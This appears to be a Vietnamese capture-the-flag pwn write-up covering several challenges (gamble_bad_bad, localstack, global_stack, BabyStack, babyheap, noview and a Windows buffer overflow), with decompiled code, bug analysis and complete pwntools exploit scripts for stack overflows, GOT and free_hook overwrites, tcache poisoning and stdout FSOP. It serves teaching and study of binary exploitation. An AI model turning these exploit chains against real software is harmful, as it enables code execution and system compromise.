![image](https://hackmd.io/_uploads/r1b-XTPwJl.png) ## gamble_bad_bad - bài này là 1 bài pwn C++ tuy nhiên chỉ là 1 bài warmup ```C #include <string.h> #include <iostream> #include <stdio.h> using namespace std; void jackpot() { char flag[50]; FILE *f = fopen("/home/gamble/flag.txt", "r"); if (f == NULL) { printf("錯誤:找不到 flag 檔案\n"); return; } fgets(flag, 50, f); fclose(f); printf("恭喜你中了 777 大獎!\n"); printf("Flag 是:%s", flag); } struct GameState { char buffer[20]; char jackpot_value[4]; } game; void spin() { strcpy(game.jackpot_value, "6A6"); printf("輸入你的投注金額:"); gets(game.buffer); printf("這次的結果為:%s\n", game.jackpot_value); if (strcmp(game.jackpot_value, "777") == 0) { jackpot(); } else { printf("很遺憾,你沒中獎,再試一次吧!\n"); } } int main() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); printf("歡迎來到拉霸機!試著獲得 777 大獎吧!\n"); spin(); return 0; } ``` hàm ```jackpot``` sẽ là hàm lấy flag và bug xuất hiện ở ```spin``` , ta thấy ở đây nó dùng hàm ```gets``` để nhập dữ liệu vào ```buffer``` , và điều kiện để lấy flag là ``` if (strcmp(game.jackpot_value, "777") == 0) { jackpot(); ``` - vậy chỉ cần nhập 20 byte + '777' là oke ![image](https://hackmd.io/_uploads/HJREETPv1g.png) ------------------------ ## Localstack ![image](https://hackmd.io/_uploads/HJG8NaDPkg.png) checksec : ![image](https://hackmd.io/_uploads/HkapNTvDyg.png) ## analys ta sẽ có 4 option ở bài này : push , pop , show và exit ```C int __fastcall main(int argc, const char **argv, const char **envp) { __int64 v3; // rax __int64 v5; // [rsp+0h] [rbp-100h] BYREF __int64 count; // [rsp+8h] [rbp-F8h] _QWORD v7[20]; // [rsp+10h] [rbp-F0h] char s[32]; // [rsp+B0h] [rbp-50h] BYREF char s1[40]; // [rsp+D0h] [rbp-30h] BYREF unsigned __int64 v10; // [rsp+F8h] [rbp-8h] v10 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); count = -1LL; puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'"); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { printf(">> "); fgets(s, 25, stdin); __isoc99_sscanf(s, "%s", s1); if ( strcmp(s1, "push") ) break; if ( (unsigned int)__isoc99_sscanf(s, "%*s %ld", &v5) == 1 ) { v7[++count] = v5; printf("Pushed %ld to stack\n", v5); } else { puts("Invalid push."); } } if ( strcmp(s1, "pop") ) break; v3 = count--; printf("Popped %ld from stack\n", v7[v3]); } if ( strcmp(s1, "show") ) break; printf("Stack top: %ld\n", v7[count]); } if ( !strcmp(s1, "exit") ) break; if ( !strcmp(s1, "help") ) puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'"); else printf("Unknown command: %s\n", s1); } return 0; } ``` - với option push ta sẽ được input 1 giá trị vào v7[idx++] , với idx ban đầu sẽ là -1 và v7 sẽ nằm ở ```rsp+0x10``` và idx của ta sẽ nằm ở ```rsp+8``` , ta cần chú ý điểm này ```C fgets(s, 25, stdin); __isoc99_sscanf(s, "%s", s1); if ( strcmp(s1, "push") ) break; if ( (unsigned int)__isoc99_sscanf(s, "%*s %ld", &v5) == 1 ) { v7[++count] = v5; printf("Pushed %ld to stack\n", v5); } ``` - tiếp theo sẽ là pop , logic rất đơn giản , có nghĩa là nó sẽ giảm idx đi 1 đơn vị ``` if ( strcmp(s1, "pop") ) break; v3 = count--; printf("Popped %ld from stack\n", v7[v3]); ``` - show : nó sẽ in giá trị ở vị trí v7[idx] ``` if ( strcmp(s1, "show") ) break; printf("Stack top: %ld\n", v7[count]); ``` ### EXPLOIT - ở bài này , ta cần kết hợp các option lại với nhau , ta thấy ta được ghi 1 giá trị bất kì vào v7[++idx] , và ta có luôn hàm ```print_flag``` nên không cần leak libc ```C unsigned __int64 print_flag() { FILE *stream; // [rsp+8h] [rbp-58h] char s[72]; // [rsp+10h] [rbp-50h] BYREF unsigned __int64 v3; // [rsp+58h] [rbp-8h] v3 = __readfsqword(0x28u); stream = fopen("flag", "r"); if ( !stream ) { perror("fopen"); exit(1); } fgets(s, 64, stream); printf("%s", s); fclose(stream); return v3 - __readfsqword(0x28u); } ``` - vậy đơn giản việc ta sẽ làm là giảm idx đi 1 với option ```pop``` , tiếp theo lúc này ta có thể dùng ```option``` push để thay đổi giá trị của ```idx``` , tiếp theo ta có thể dùng lại option ```push``` với ```idx``` là giá trị mà ta muốn và ở bài này sẽ là ret_address , tuy nhiên bài này PIE bật nên trước hết ta sẽ leak ```exe_address``` bằng option ```show``` - ta có thể thấy được ```idx``` ở địa chỉ ```0x7fffffffd708``` , tuy nhiên thì địa ```main``` khá là xa ![image](https://hackmd.io/_uploads/r1lZaw6DPJe.png) - vậy ta sẽ trừ rsp đi 0x20 để tìm địa chỉ exe xem có không và ta thấy ```0x7fffffffd6f8``` trỏ đến ```0x00005555555553f3``` và rsp lúc này là ```0x7fffffffd700``` , idx lúc này là -1 và v7[-1] sẽ là ```0x7fffffffd708``` vậy ta cần ```pop``` thêm 2 lần để nó trỏ đến địa chỉ exe và dùng hàm show để bypass PIE , tiếp theo việc cần làm sẽ ra tính toán để thay đổi giá trị của idx làm sao cho v7[idx] sẽ là ret_address , lúc làm bài này thì mình chưa nghĩ đến nên mình đã tính toán để leak ```canary``` luôn ![image](https://hackmd.io/_uploads/rJUNupvPkl.png) script ```python #!/usr/bin/env python3 from pwn import * exe = ELF("./localstack_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-2.39.so") context.binary = exe p =remote('172.31.1.2', 11100) p.sendlineafter(b'>> ',b'pop') p.sendlineafter(b'>> ',b'pop') input() p.sendlineafter(b'>> ',b'show') p.recvuntil(b'Stack top: ') exe.address = int(p.recvline()[:-1]) - 0x14ef p.sendlineafter(b'>> ',b'push 1') p.sendlineafter(b'>> ',b'push 29') p.sendlineafter(b'>> ',b'show') p.recvuntil(b'Stack top: ') canary = int(p.recvline()[:-1]) canary = hex(canary & (2**64 -1)) canary = int(canary,16) print(canary) p.sendlineafter(b'>> ',b'push 0') p.sendlineafter(b'>> ',f'push {exe.sym.print_flag}') p.sendlineafter(b'>> ',b'exit') p.interactive() ``` ![image](https://hackmd.io/_uploads/Bk1Wo6DPkl.png) ----------- ## 窗戶麵包 bài này sẽ là 1 bài ```bof``` window , mình chưa làm pwn window bao giờ , tuy nhiên thì bài này ở mức dễ nên ta có thể làm tương tự pwn linux , và bài này khá giống 1 bài blog của tác giả luôn , nó chỉ thêm đoạn check thôi , ta có thể xem ở đây : https://kazma.tw/2024/11/18/AngelBoy-Windows-Binary-Exploitation-bofeasy-Writeup/ ![image](https://hackmd.io/_uploads/B1kXoaDPyx.png) - nhìn vào bài thì đầu tiên nó sẽ leak hàm ```main``` sẵn cho ta luôn , tiếp theo là có 1 bug ```bof``` ở trước mặt =))) ``` __int64 __fastcall main() { FILE *v0; // rax char buf[48]; // [rsp+20h] [rbp-30h] BYREF _main(); v0 = __acrt_iob_func(1u); setvbuf(v0, 0LL, 4, 0LL); printf("Something important: %p\n", main); puts("Can you get the flag?"); _read(0, buf, 0x100u); return 0LL; } ``` - magic : hàm này sẽ là target của bài , ta thấy nó check từng đối số , ở linux thì ta có thể dùng các lệnh ```pop``` để thiết lập , tuy nhiên thì cũng không cần thiết lắm , ta có thể nhảy thẳng vào và thực thi ```WinExec("cmd.exe", 0)``` luôn ``` void __cdecl magic(const char *param1, int param2, const char *param3) { if ( !strcmp(param1, "B33F50UP") ) { if ( param2 == 1337 ) { if ( !strcmp(param3, "open_sesame") ) { puts("All parameters are correct. Opening shell..."); WinExec("cmd.exe", 0); } else { puts("Parameter 3 is incorrect!"); } } else { puts("Parameter 2 is incorrect!"); } } else { puts("Parameter 1 is incorrect!"); } } ``` script ``` #!/usr/bin/python3 from pwn import * p = remote('172.31.0.3', 56001) p.recvuntil(b'Something important: ') main = int(p.recvline()[:-1],16) - 0x14DB target = 0x14c1 print(hex(main)) p.sendline(p64(main+target)*60) p.interactive() ``` tuy nhiên vấn đề xảy ra khi có shell , nó trả về các kí tự tùm lum tùm la :))) , ta cần dùng lệnh ```chcp 65001``` để chuyển thành UTF-8 ![image](https://hackmd.io/_uploads/BJegATvwyx.png) ## global_stack ![image](https://hackmd.io/_uploads/rJOg-AwPyx.png) checksec : ![image](https://hackmd.io/_uploads/Hkp8L0Pwyg.png) ### analys - bài này sẽ giống với bài local_stack , chỉ khác ở chỗ là dữ liệu của ta lúc này sẽ không được nhập trên ```stack``` nữa , nó sẽ tạo 1 phân vùng heap bằng cách malloc ```s``` và ```s1``` ```C int __fastcall main(int argc, const char **argv, const char **envp) { __int64 v4; // [rsp+0h] [rbp-20h] BYREF char *s; // [rsp+8h] [rbp-18h] char *s1; // [rsp+10h] [rbp-10h] unsigned __int64 v7; // [rsp+18h] [rbp-8h] v7 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); s = (char *)malloc(0x19uLL); s1 = (char *)malloc(0x19uLL); puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'"); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { printf(">> "); fgets(s, 25, stdin); __isoc99_sscanf(s, "%s", s1); if ( strcmp(s1, "push") ) break; if ( (unsigned int)__isoc99_sscanf(s, "%*s %ld", &v4) == 1 ) { top += 8; *(_QWORD *)top = v4; printf("Pushed %ld to stack\n", v4); } else { puts("Invalid push."); } } if ( strcmp(s1, "pop") ) break; printf("Popped %ld from stack\n", *(_QWORD *)top); top -= 8; } if ( strcmp(s1, "show") ) break; printf("Stack top: %ld\n", *(_QWORD *)top); } if ( !strcmp(s1, "exit") ) break; if ( !strcmp(s1, "help") ) puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'"); else printf("Unknown command: %s\n", s1); } free(s); free(s1); return 0; } ``` ### EXPLOIT - về cách leak thì ta có thể leak tương tự ```localstack``` ```C if ( strcmp(s1, "show") ) break; printf("Stack top: %ld\n", *(_QWORD *)top); ``` - con trỏ top sẽ chứa địa chỉ của ```completed_8061``` (0x0000555555558038) và ta chỉ cần leak libc và PIE dễ dàng bằng cách pop 1 lần ta sẽ có địa chỉ libc của ```stdin``` , ```pop``` tiếp 3 lần nữa ta sẽ có địa chỉ ```exe``` ![image](https://hackmd.io/_uploads/B17-QAPvkg.png) ![image](https://hackmd.io/_uploads/BkBx8AvP1l.png) - ở bài này ta không thể overwrite ```ret_address``` giống bài trước , và ```GOT``` cũng không thể overwrite được , ở đây phiên bản libc sẽ là 2.31 nên ta có thể suy nghĩ đến ```hook``` , vậy ở đây ta sẽ thay đổi địa chỉ được ```top``` trỏ đến bằng ```free_hook``` , sau đó ta có thể ghi vào ```hook``` ```C if ( (unsigned int)__isoc99_sscanf(s, "%*s %ld", &v4) == 1 ) { top += 8; *(_QWORD *)top = v4; printf("Pushed %ld to stack\n", v4); ``` - sau khi leak exe trong thì top đang trỏ đến chính nó ![image](https://hackmd.io/_uploads/ByurtADPyg.png) - vậy ta sẽ pop -> push ```free_hook``` vào là thay đổi được địa chỉ mà ```top``` trỏ đến ![image](https://hackmd.io/_uploads/r1ZoFRDvkl.png) - sau đó ta tiếp tục ```pop``` -> ```push``` để thay đổi giá trị của ```free_hook``` thành ```one_gadget``` , cuối cùng trước khi kết thúc chương trình thì nó thực hiện ```free``` và ta sẽ có được shell script ```python #!/usr/bin/env python3 from pwn import * exe = ELF("./globalstack_patched",checksec=False) libc = ELF("./libc-2.31.so",checksec=False) ld = ELF("./ld-2.31.so",checksec=False) context.binary = exe #p = process() p = remote('172.31.1.2', 11101) #gdb.attach(p,gdbscript=''' # brva 0x0000000000001362 # brva 0x00000000000013D3 # ''') p.sendlineafter(b'>> ',b'pop') p.sendlineafter(b'>> ',b'show') p.recvuntil(b'Stack top: ') libc.address = int(p.recvline()[:-1]) - 0x1ec980 log.info(f'libc: {hex(libc.address)}') for i in range(4): p.sendlineafter(b'>> ',b'pop') p.sendlineafter(b'>> ',b'show') p.recvuntil(b'Stack top: ') exe.address = int(p.recvline()[:-1]) - 0x6d01136010 log.info(f'exe: {hex(exe.address)}') one_gadget = [0xe3afe,0xe3b01,0xe3b04] free_hook = libc.sym.__free_hook libc_onegadget = libc.address + one_gadget[1] input() p.sendlineafter(b'>> ',b'pop') p.sendlineafter(b'>> ',f'push {free_hook}'.encode()) p.sendlineafter(b'>> ',b'pop') p.sendlineafter(b'>> ',f'push {libc_onegadget}'.encode()) p.sendlineafter(b'>> ',b'exit') p.interactive() ``` ![image](https://hackmd.io/_uploads/HJMB9APvJe.png) ------------------ BabyStack ------- 1 bài được đánh giá ở mức hard ![image](https://hackmd.io/_uploads/ryPcNl_vJx.png) checksec : ![image](https://hackmd.io/_uploads/ryDAEeuDJx.png) - đầu tiên ta sẽ được leak địa chỉ ```libc``` , đây là 1 dạng bài ghi tùy ý , đầu tiên ta sẽ được input 3 lần , mỗi lần 8 byte ```C int __fastcall main(int argc, const char **argv, const char **envp) { void *v4; // [rsp+8h] [rbp-48h] BYREF _QWORD buf[2]; // [rsp+10h] [rbp-40h] BYREF _QWORD v6[2]; // [rsp+20h] [rbp-30h] BYREF _QWORD v7[4]; // [rsp+30h] [rbp-20h] BYREF v7[3] = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); v4 = 0LL; buf[0] = 0LL; buf[1] = 0LL; v6[0] = 0LL; v6[1] = 0LL; v7[0] = 0LL; v7[1] = 0LL; puts("========= Welcome To Baby Stack ========="); printf("| Gift : %p\n", &puts); puts("| Do you know how the stack works ?"); printf("| > "); read(0, buf, 8uLL); puts("| Do you know how the stack works ?"); printf("| > "); read(0, v6, 8uLL); puts("| Do you know how the stack works ?"); printf("| > "); read(0, v7, 8uLL); puts("| Show your skills !"); printf("| > "); __isoc99_scanf("%llx", &v4); printf("| > "); read(0, v4, 0x10uLL); puts("========= End Of Baby Stack ========="); return 0; } ``` - lần input thứ 4 sẽ là vấn đề chính của ta , ta sẽ được nhập 1 địa chỉ , tiếp theo ta được input dữ liệu vào địa chỉ đó , ở bài này ```GOT``` sẽ không thể overwrite , các phương pháp như ```rtld``` cũng không thể thành không ```C printf("| > "); __isoc99_scanf("%llx", &v4); printf("| > "); read(0, v4, 0x10uLL); ``` ta có thể xem blog này : https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries - target của bài này sẽ là overwrite ```got``` của libc , theo dõi backtrace , ta thấy ```puts``` sẽ gọi ```0x7ffff7dba490``` , vậy đơn giản là ta sẽ overwrite nó bằng ```one_gadget``` đúng không? , tuy nhiên ở đây nó sẽ không thõa mãn bất cứ one_gadget nào , và lúc này 3 lần input trước đó sẽ phát huy tác dụng và đây cũng chính là giải pháp dự định của tác giả ![image](https://hackmd.io/_uploads/S1hVPx_wkx.png) ![image](https://hackmd.io/_uploads/r1mZuxOP1l.png) - 2 lần input đầu tiên ta sẽ setup các ```reg``` thõa mãn điều kiện ```one_gadget``` và lần input thứ 3 sẽ là one_gadget của ta , vậy lúc này ta sẽ overwrite ```libc_got``` bằng cái gì? , stack lúc này input1 của ta sẽ là ```rsp+0x58``` , vậy ta chỉ cần dùng gadget nào đó điều khiển nó trỏ đến ```input1``` và mọi thứ sẽ thành công ![image](https://hackmd.io/_uploads/rkO-YxuvJx.png) ```0x00000000000a0265: add rsp, 0x58; ret;``` đây sẽ là gadget thích hợp nhất để pivot stack ![image](https://hackmd.io/_uploads/Sk9-cxODkx.png) script ```python #!/usr/bin/env python3 from pwn import * exe = ELF("./chal_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-2.35.so") context.binary = exe p = process() #p = remote('172.31.2.2', 36902) #gdb.attach(p,gdbscript=''' # brva 0x0000000000001388 # brva 0x00000000000013B7 # ''') p.recvuntil(b'Gift : ') libc.address = int(p.recvline()[:-1],16) - libc.sym.puts ld.address = libc.address + 0x22b000 log.info(f'ld: {hex(ld.address)}') log.info(f'libc: {hex(libc.address)}') log.info(f'system; {hex(libc.sym.system)}') got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT") log.info(f'got: {hex(got)}') poprsiret = libc.address + 0x2be51 # pop rsi; ret poprdxret = libc.address + 0x170337 # pop rdi; ret onegadget = libc.address + 0xebc88 # execve("/bin/sh", rsi, rdx) stackpivot = libc.address + 0x00000000000a0265 # add rsp, 0x58; ret p.sendafter(b"how the stack works",p64(poprsiret)) p.sendafter(b"how the stack works",p64(poprdxret)) p.sendafter(b"how the stack works",p64(onegadget)) p.recvuntil(b"Show your skills") input() p.sendlineafter(b">",hex(got+152)) p.sendlineafter(b">",p64(stackpivot)) p.interactive() ``` sever down ròi nên lấy shell ở local thoai ![image](https://hackmd.io/_uploads/rJIdceuDyl.png) ![image](https://hackmd.io/_uploads/Bk3K5g_vkg.png) ref : https://hackmd.io/@pepsipu/SyqPbk94a#setcontext32 ## cách 2 : cách này thì mình research hoài chưa hiểu nên tạm để đây :))) ``` from pwn import * import random libc = ELF("libc.so.6") while True: for off in range(0x202, 0x500): try: # off = random.randint(0x200, 0x4ff) off = hex(off)[2:] off = "0x" + off + "000" off = int(off, 16) r = remote("172.31.2.2", 36902) # r = process("./chal") # r = remote("172.18.0.2", 36902) # off = int(input()) r.recvuntil(b": ") k = r.recvline().strip().decode() # off = 0x230000 libc_base = int(k, 16) - libc.symbols["puts"] ld_base = libc_base + off print(hex(off)) if(libc_base < 0): print(k, int(k, 16) - libc.symbols["puts"]) print(hex(libc_base)) print(hex(ld_base)) l_addr_off = 0x3b2e0 fini_array_off = 0x3d98 l_addr = ld_base + l_addr_off print(hex(l_addr)) # print(hex(libc.address)) r.sendlineafter(b"> ", b"aaaaaaa") r.sendlineafter(b"> ", b"aaaaaaa") r.sendlineafter(b"> ", b"aaaaaaa") r.sendlineafter(b"> ", hex(l_addr - 8).encode()) oneoff = 0xebd38 r.sendlineafter(b"> ", p64(libc_base + oneoff) + p64(l_addr - 8 - fini_array_off)) print("dd") k = b"" k = r.recvuntil(b" =========", timeout=1) if k == b"": r.interactive() print(k) r.sendline(b"ls") r.recvline() print("yee") r.interactive() # TSC{YoU_KnOw_h0w_7h3_b4bY_st@(k_w0rk$_!!!} except: try: r.close() except: pass pass ``` ----------- # babyheap ![image](https://hackmd.io/_uploads/B1t_m6uPJl.png) checksec : ![image](https://hackmd.io/_uploads/rk4wQa_DJl.png) ## Analys - ta sẽ có 4 option chính ở bài này ```c int __fastcall main(int argc, const char **argv, const char **envp) { char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); init(argc, argv, envp); while ( 1 ) { menu(); read(0, buf, 8uLL); switch ( atoi(buf) ) { case 1: add(); break; case 2: delete(); break; case 3: edit(); break; case 4: view(); break; case 5: exit(0); default: puts("invalid!"); break; } } } ``` - add : ta sẽ được input ```idx``` và ```size``` , ở đây nó check idx < 0x20 , gán size vào mảng ```sizes[idx]``` và malloc với size vừa nhập ```C unsigned __int64 add() { signed int v0; // ebx int size; // [rsp+0h] [rbp-20h] BYREF unsigned int idx; // [rsp+4h] [rbp-1Ch] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-18h] v4 = __readfsqword(0x28u); size = 0; idx = 0; printf("index > "); __isoc99_scanf("%d", &idx); printf("size > "); __isoc99_scanf("%d", &size); if ( idx < 0x20 ) { sizes[idx] = size; v0 = idx; notes[v0] = malloc(size); } else { puts("invalid!"); } return __readfsqword(0x28u) ^ v4; } ``` - delete : nhập idx và check notes[idx] có tồn tại không , nếu thõa thì free notes[idx] đó đi , ở đây khi ```free``` sẽ không xảy ra ```UAF``` ```C unsigned __int64 delete() { int idx; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); idx = 0; printf("index > "); __isoc99_scanf("%d", &idx); if ( notes[idx] ) { free((void *)notes[idx]); notes[idx] = 0LL; sizes[idx] = 0; } return __readfsqword(0x28u) ^ v2; } ``` - edit : ta được nhập 1 ```idx``` và 1 ```size``` , tiếp theo nó sẽ read vào chunk[idx] với length là size mà ta nhập -> ```heap overflow``` ```C unsigned __int64 edit() { size_t size; // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); size = 0LL; printf("index > "); __isoc99_scanf("%d", (char *)&size + 4); getchar(); if ( notes[SHIDWORD(size)] ) { printf("size > "); __isoc99_scanf("%d", &size); getchar(); printf("content > "); read(0, (void *)notes[SHIDWORD(size)], (unsigned int)size); } else { puts("invalid!"); } return __readfsqword(0x28u) ^ v2; } ``` - view : đơn giản là nó sẽ in dữ liệu của chunk[idx] mà ta nhập vào ```C unsigned __int64 view() { int idx; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); idx = 0; printf("index > "); __isoc99_scanf("%d", &idx); if ( notes[idx] ) write(1, (const void *)notes[idx], (unsigned int)sizes[idx]); else puts("invalid!"); return __readfsqword(0x28u) ^ v2; } ``` ### EXPLOIT - ở bài này ta có thể overwrite heap và không có hạn chế nhiều nên ta có thể leak libc thoải mái bằng cách free() 1 chunk > 0x420 -> vào unsorted-bin và ta sẽ có libc - khi có libc rồi thì phiên bản libc ở bài này là 2.31 -> có tcache , ta chỉ việc free 2 tcache và ta có thể dùng overflow để overflow ```fd``` của tcache trỏ đến ```free_hook``` , cuối cùng chỉ cần ```malloc``` lại và thay đổi dữ liệu trong ```tcache``` script ```python #!/usr/bin/env python3 from pwn import * exe = ELF("./chal_patched") libc = ELF("./libc-2.31.so") ld = ELF("./ld-2.31.so") context.binary = exe #p = process() p = remote('172.31.3.2', 4241) def add(idx,size): p.sendlineafter(b'> ',b'1') p.sendlineafter(b'> ',f'{idx}'.encode()) p.sendlineafter(b'> ',f'{size}'.encode()) def delete(idx): p.sendlineafter(b'> ',b'2') p.sendlineafter(b'> ',f'{idx}'.encode()) def edit(idx,size,data): p.sendlineafter(b'> ',b'3') p.sendlineafter(b'> ',f'{idx}'.encode()) p.sendlineafter(b'> ',f'{size}'.encode()) p.sendafter(b'> ',data) def show(idx): p.sendlineafter(b'> ',b'4') p.sendlineafter(b'> ',f'{idx}'.encode()) add(0, 0x500) add(1, 0x10) delete(0) add(2, 0x70) add(3, 0x70) add(4, 0x70) show(2) #leak libc libc.address = u64(p.recvline()[:8]) - 0x1ed010 log.info(f'libc: {hex(libc.address)}') input() add(5, 0x380) free_hook = libc.symbols['__free_hook'] system = libc.symbols['system'] delete(4) delete(3) #### overwrite fd of chunk 3 to free_hook #### edit(2, 0x88, b'a' * 0x70 + p64(0) + p64(0x81) + p64(free_hook)) #change fd add(5, 0x70) add(6, 0x70) edit(5, 8, b'/bin/sh\x00') ### change free_hook to system ### edit(6, 8, p64(system)) delete(5) p.interactive() ``` 1 điều cần chú ý là khi malloc fake chunk thì , số lượng ```tcache_pthread``` phải lớn hơn 0. ## cách 2 1 kĩ thuật gọi là ```the house of water``` : https://corgi.rip/posts/leakless_heap_1/#forcing-a-leak-with-file-buffering ``` #!/usr/bin/env python3 from pwn import * import io_file exe = ELF("./chal_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-2.31.so") context.binary = exe global p, index def conn(): if args.LOCAL: p = process([exe.path]) if args.GDB: gdb.attach(p,gdbscript=''' dprintf *edit+0xe9,"reading into %p\\n",$rdi continue ''') sleep(2) else: p = remote("172.31.3.2",4240) return p def malloc(idx, size): p.sendlineafter(b"exit",b"1") p.sendlineafter(b"index >",str(idx).encode()) p.sendlineafter(b"size >",str(size).encode()) def free(idx): p.sendlineafter(b"exit",b"2") p.sendlineafter(b"index >",str(idx).encode()) def edit(idx, data): # this func has overflow Lol p.sendlineafter(b"exit",b"3") p.sendlineafter(b"index >",str(idx).encode()) # p.sendlineafter(b"size >",b"99999") p.sendafter(b"content > ",data) def read(idx): p.sendlineafter(b"exit",b"3") p.sendlineafter(b"index > ",str(idx).encode()) leak = p.readuntil(b"1. add note",drop=True) return leak def main(): global p p = conn() """ babyheap & noview without doing any heap exploitation :troll: theory: for babyheap AND noview, there is no bounds check on the 'edit' feature this means if there are any pointers lying outside of the 'notes' array, we can write to them with the edit feature and right behind 'notes' are pointers to libc's stdin/stdout/stderr! these are well known to be VERY exploitable, and we can freely edit them. :) more at https://corgi.rip/posts/leakless_heap_1/, "Step 2: RCE" section """ # context: stdout is at notes[-8] # step 0: create chunk at notes[24] so that sizes[-8] has valid size malloc(28,0x60) # step 1: hijack stdout to force libc leak edit(-8,( p64(0xfbad3887) + # add _IO_IS_APPENDING flag to stdout p64(0)*3 + # read_base, end, and ptr. can be anything p8(0) # overwrite LSB of write_base )) libc_leak = u64(p.recvn(16)[8:]) libc.address = libc_leak - libc.sym['_IO_2_1_stdin_'] info(f"{libc.address:#x}") # step 2: fsop to shell file = io_file.IO_FILE_plus_struct() payload = file.house_of_apple2_execmd_when_do_IO_operation( libc.sym['_IO_2_1_stdout_'], libc.sym['_IO_wfile_jumps'], libc.sym['system']) edit(-8,payload) p.interactive() # What is a heap exploitations? Someone help if __name__ == "__main__": main() ``` ![image](https://hackmd.io/_uploads/SywrYRuwJl.png) ---------- ## noview checksec : full giap ![image](https://hackmd.io/_uploads/B1zGEytDyg.png) - ta có 4 option chính : add() , delete() , edit() , copy() , như tên bài đã đề cập , ở đây nó sẽ không có hàm nào để in dữ liệu các chunk ```C int __fastcall main(int argc, const char **argv, const char **envp) { char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); init(argc, argv, envp); while ( 1 ) { menu(); read(0, buf, 8uLL); switch ( atoi(buf) ) { case 1: add(); break; case 2: delete(); break; case 3: edit(); break; case 4: copy(); break; case 5: exit(0); default: puts("invalid!"); break; } } } ``` - add : hàm này tương tự bài heap trước , nhập 1 size tùy ý và check idx < 0x20 ```C unsigned __int64 add() { unsigned int v0; // ebx int size; // [rsp+0h] [rbp-20h] BYREF unsigned int idx; // [rsp+4h] [rbp-1Ch] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-18h] v4 = __readfsqword(0x28u); size = 0; idx = 0; printf("index > "); __isoc99_scanf("%d", &idx); printf("size > "); __isoc99_scanf("%d", &size); if ( idx < 0x20 ) { sizes[idx] = size; v0 = idx; notes[v0] = malloc(size); } else { puts("invalid!"); } return __readfsqword(0x28u) ^ v4; } ``` - delete() : nhập 1 ```idx``` và free() , ở đây vì không xóa con trỏ nên xảy ra ```UAF``` ```C unsigned __int64 delete() { int idx; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); idx = 0; printf("index > "); __isoc99_scanf("%d", &idx); if ( notes[idx] ) free((void *)notes[idx]); return __readfsqword(0x28u) ^ v2; } ``` - edit : được nhập 1 idx và chỉnh dữ liệu ở ```notes[idx]``` ```C unsigned __int64 edit() { _DWORD idx[2]; // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); idx[1] = 0; idx[0] = 0; printf("index > "); __isoc99_scanf("%d", idx); getchar(); if ( notes[idx[0]] ) { printf("content > "); read(0, (void *)notes[idx[0]], (unsigned int)sizes[idx[0]]); } else { puts("invalid!"); } return __readfsqword(0x28u) ^ v2; } ``` - coppy : hàm này sẽ cho phép sao chép dữ liệu từ notes[idx2] vào notes[idx] , ở đây nó không check idx -> oob ```C unsigned __int64 copy() { int idx; // [rsp+0h] [rbp-10h] BYREF int idx2; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); printf("index1 > "); __isoc99_scanf("%d", &idx); getchar(); printf("inde2 > "); __isoc99_scanf("%d", &idx2); getchar(); if ( notes[idx] && notes[idx2] ) memcpy((void *)notes[idx], (const void *)notes[idx2], (int)sizes[idx2]); else puts("invalid!"); return __readfsqword(0x28u) ^ v3; } ``` ### EXPLOIT vì bài này không có hàm nào để leak -> ta phải nghĩ đến ```FSOP``` ta có thể xem xét POC này : ở đây ta chỉ cần sửa bit cờ và change ```_IO_write_base``` là ta có thể leak được ```C #include <stdio.h> int main() { int flags,modified_flag; setbuf(stdout, NULL); flags = stdout->_flags; stdout->_flags = 0xfbad2087 | 0x1000 | 0x800; stdout->_IO_write_base -= 8; printf("flags: 0x%x\n", flags); } ``` chi tiết xem ở đây : https://reinject.top/posts/ctf-pwn/leaklibc/overwrite__io_2_1_stdout_to_leak_libc/ - kịch bản ở đây sẽ như sau > đầu tiên ta sẽ malloc 2 khối 1 khối để free() vào usorted-bin và 1 khối để ngăn khối đầu tiên gộp với top_chunk > tiếp theo ta sẽ phân bổ thêm 2 khối , 2 khối này sẽ được phân bổ từ unsorted-bin nên nó sẽ chứa địa chỉ trỏ đến main_arena > như đã biết thì 12 bit cuối cùng sẽ luôn cố định , ta có thể thay đổi main_arena thành stdout với tỉ lệ 1/16 (0 -> 0xf) địa chỉ main arena : ```0x7f76debc0be0``` địa chỉ stdout : ![image](https://hackmd.io/_uploads/HJav3yKw1e.png) > vậy nếu ta có thể thay đổi stdout , ta sẽ change bit cờ thành 0xfbad1800 và thay đổi các bit thấp hơn của write_base thành 0x00. - có libc xong thì ta thực hiẹn ```tcache_poisioning``` giống bài trước - ta sẽ thấy ở đây ta đã overwrite thành công , bây giờ nó quay lại menu và menu 